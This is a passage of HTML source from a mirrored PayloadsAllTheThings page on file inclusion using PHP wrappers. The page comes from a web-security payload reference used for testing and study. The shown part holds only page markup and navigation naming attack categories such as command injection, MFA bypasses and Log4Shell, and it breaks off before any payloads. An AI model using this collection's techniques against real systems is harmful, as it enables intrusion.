ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-01-22 11:18:50 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
2c1d4780bb
PayloadsAllTheThings/File Inclusion/Wrappers/index.html

6297 lines
176 KiB
HTML
Raw Blame History

<!doctype html>
<html lang="en" class="no-js">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security">
<link rel="canonical" href="https://swisskyrepo.github.io/PayloadsAllTheThings/File%20Inclusion/Wrappers/">
<link rel="prev" href="../LFI-to-RCE/">
<link rel="next" href="../../Google%20Web%20Toolkit/">
<link rel="icon" href="../../assets/images/favicon.png">
<meta name="generator" content="mkdocs-1.6.1, mkdocs-material-9.5.49">
<title>Inclusion Using Wrappers - Payloads All The Things</title>
<link rel="stylesheet" href="../../assets/stylesheets/main.6f8fc17f.min.css">
<link rel="stylesheet" href="../../assets/stylesheets/palette.06af60db.min.css">
<style>
.social-container {
float: right;
}
</style>
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback">
<style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style>
<link rel="stylesheet" href="../../custom.css">
<script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script>
<meta property="og:type" content="website" >
<meta property="og:title" content="Inclusion Using Wrappers - Payloads All The Things" >
<meta property="og:description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security" >
<meta property="og:image" content="https://swisskyrepo.github.io/PayloadsAllTheThings/assets/images/social/File Inclusion/Wrappers.png" >
<meta property="og:image:type" content="image/png" >
<meta property="og:image:width" content="1200" >
<meta property="og:image:height" content="630" >
<meta property="og:url" content="https://swisskyrepo.github.io/PayloadsAllTheThings/File%20Inclusion/Wrappers/" >
<meta name="twitter:card" content="summary_large_image" >
<meta name="twitter:title" content="Inclusion Using Wrappers - Payloads All The Things" >
<meta name="twitter:description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security" >
<meta name="twitter:image" content="https://swisskyrepo.github.io/PayloadsAllTheThings/assets/images/social/File Inclusion/Wrappers.png" >
</head>
<body dir="ltr" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo">
<input class="md-toggle" data-md-toggle="drawer" type="checkbox" id="__drawer" autocomplete="off">
<input class="md-toggle" data-md-toggle="search" type="checkbox" id="__search" autocomplete="off">
<label class="md-overlay" for="__drawer"></label>
<div data-md-component="skip">
<a href="#inclusion-using-wrappers" class="md-skip">
Skip to content
</a>
</div>
<div data-md-component="announce">
</div>
<header class="md-header md-header--shadow" data-md-component="header">
<nav class="md-header__inner md-grid" aria-label="Header">
<a href="../.." title="Payloads All The Things" class="md-header__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54"/></svg>
</a>
<label class="md-header__button md-icon" for="__drawer">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg>
</label>
<div class="md-header__title" data-md-component="header-title">
<div class="md-header__ellipsis">
<div class="md-header__topic">
<span class="md-ellipsis">
Payloads All The Things
</span>
</div>
<div class="md-header__topic" data-md-component="header-topic">
<span class="md-ellipsis">
Inclusion Using Wrappers
</span>
</div>
</div>
</div>
<form class="md-header__option" data-md-component="palette">
<input class="md-option" data-md-color-media="(prefers-color-scheme: light)" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to dark mode" type="radio" name="__palette" id="__palette_0">
<label class="md-header__button md-icon" title="Switch to dark mode" for="__palette_1" hidden>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a4 4 0 0 0-4 4 4 4 0 0 0 4 4 4 4 0 0 0 4-4 4 4 0 0 0-4-4m0 10a6 6 0 0 1-6-6 6 6 0 0 1 6-6 6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12z"/></svg>
</label>
<input class="md-option" data-md-color-media="(prefers-color-scheme: dark)" data-md-color-scheme="slate" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to light mode" type="radio" name="__palette" id="__palette_1">
<label class="md-header__button md-icon" title="Switch to light mode" for="__palette_0" hidden>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 18c-.89 0-1.74-.2-2.5-.55C11.56 16.5 13 14.42 13 12s-1.44-4.5-3.5-5.45C10.26 6.2 11.11 6 12 6a6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12z"/></svg>
</label>
</form>
<script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script>
<label class="md-header__button md-icon" for="__search">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg>
</label>
<div class="md-search" data-md-component="search" role="dialog">
<label class="md-search__overlay" for="__search"></label>
<div class="md-search__inner" role="search">
<form class="md-search__form" name="search">
<input type="text" class="md-search__input" name="query" aria-label="Search" placeholder="Search" autocapitalize="off" autocorrect="off" autocomplete="off" spellcheck="false" data-md-component="search-query" required>
<label class="md-search__icon md-icon" for="__search">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg>
</label>
<nav class="md-search__options" aria-label="Search">
<a href="javascript:void(0)" class="md-search__icon md-icon" title="Share" aria-label="Share" data-clipboard data-clipboard-text="" data-md-component="search-share" tabindex="-1">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9a3 3 0 0 0-3 3 3 3 0 0 0 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.15c-.05.21-.08.43-.08.66 0 1.61 1.31 2.91 2.92 2.91s2.92-1.3 2.92-2.91A2.92 2.92 0 0 0 18 16.08"/></svg>
</a>
<button type="reset" class="md-search__icon md-icon" title="Clear" aria-label="Clear" tabindex="-1">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg>
</button>
</nav>
<div class="md-search__suggest" data-md-component="search-suggest"></div>
</form>
<div class="md-search__output">
<div class="md-search__scrollwrap" tabindex="0" data-md-scrollfix>
<div class="md-search-result" data-md-component="search-result">
<div class="md-search-result__meta">
Initializing search
</div>
<ol class="md-search-result__list" role="presentation"></ol>
</div>
</div>
</div>
</div>
</div>
<div class="md-header__source">
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
<div class="md-source__icon md-icon">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg>
</div>
<div class="md-source__repository">
GitHub
</div>
</a>
</div>
</nav>
</header>
<div class="md-container" data-md-component="container">
<main class="md-main" data-md-component="main">
<div class="md-main__inner md-grid">
<div class="md-sidebar md-sidebar--primary" data-md-component="sidebar" data-md-type="navigation" >
<div class="md-sidebar__scrollwrap">
<div class="md-sidebar__inner">
<nav class="md-nav md-nav--primary" aria-label="Navigation" data-md-level="0">
<label class="md-nav__title" for="__drawer">
<a href="../.." title="Payloads All The Things" class="md-nav__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54"/></svg>
</a>
Payloads All The Things
</label>
<div class="md-nav__source">
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
<div class="md-source__icon md-icon">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg>
</div>
<div class="md-source__repository">
GitHub
</div>
</a>
</div>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../.." class="md-nav__link">
<span class="md-ellipsis">
Payloads All The Things
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../CONTRIBUTING/" class="md-nav__link">
<span class="md-ellipsis">
CONTRIBUTING
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../DISCLAIMER/" class="md-nav__link">
<span class="md-ellipsis">
DISCLAIMER
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
<span class="md-ellipsis">
API Key Leaks
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_4">
<span class="md-nav__icon md-icon"></span>
API Key Leaks
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../API%20Key%20Leaks/" class="md-nav__link">
<span class="md-ellipsis">
API Key and Token Leaks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../API%20Key%20Leaks/IIS-Machine-Keys/" class="md-nav__link">
<span class="md-ellipsis">
IIS Machine Keys
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
<span class="md-ellipsis">
Account Takeover
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_5">
<span class="md-nav__icon md-icon"></span>
Account Takeover
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Account%20Takeover/" class="md-nav__link">
<span class="md-ellipsis">
Account Takeover
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Account%20Takeover/mfa-bypass/" class="md-nav__link">
<span class="md-ellipsis">
MFA Bypasses
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
<span class="md-ellipsis">
Business Logic Errors
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_6">
<span class="md-nav__icon md-icon"></span>
Business Logic Errors
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Business%20Logic%20Errors/" class="md-nav__link">
<span class="md-ellipsis">
Business Logic Errors
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
<span class="md-ellipsis">
CORS Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_7">
<span class="md-nav__icon md-icon"></span>
CORS Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CORS%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
CORS Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
Client Side Path Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Client%20Side%20Path%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Cross Site Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Cross Site Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Cross-Site%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DOM Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DOM Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DOM%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
DOM Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Denial of Service
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Denial of Service
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Denial%20of%20Service/" class="md-nav__link">
<span class="md-ellipsis">
Denial of Service
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" checked>
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="true">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../LFI-to-RCE/" class="md-nav__link">
<span class="md-ellipsis">
LFI to RCE
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--active">
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
<label class="md-nav__link md-nav__link--active" for="__toc">
<span class="md-ellipsis">
Inclusion Using Wrappers
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<a href="./" class="md-nav__link md-nav__link--active">
<span class="md-ellipsis">
Inclusion Using Wrappers
</span>
</a>
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#wrapper-phpfilter" class="md-nav__link">
<span class="md-ellipsis">
Wrapper php://filter
</span>
</a>
</li>
<li class="md-nav__item">
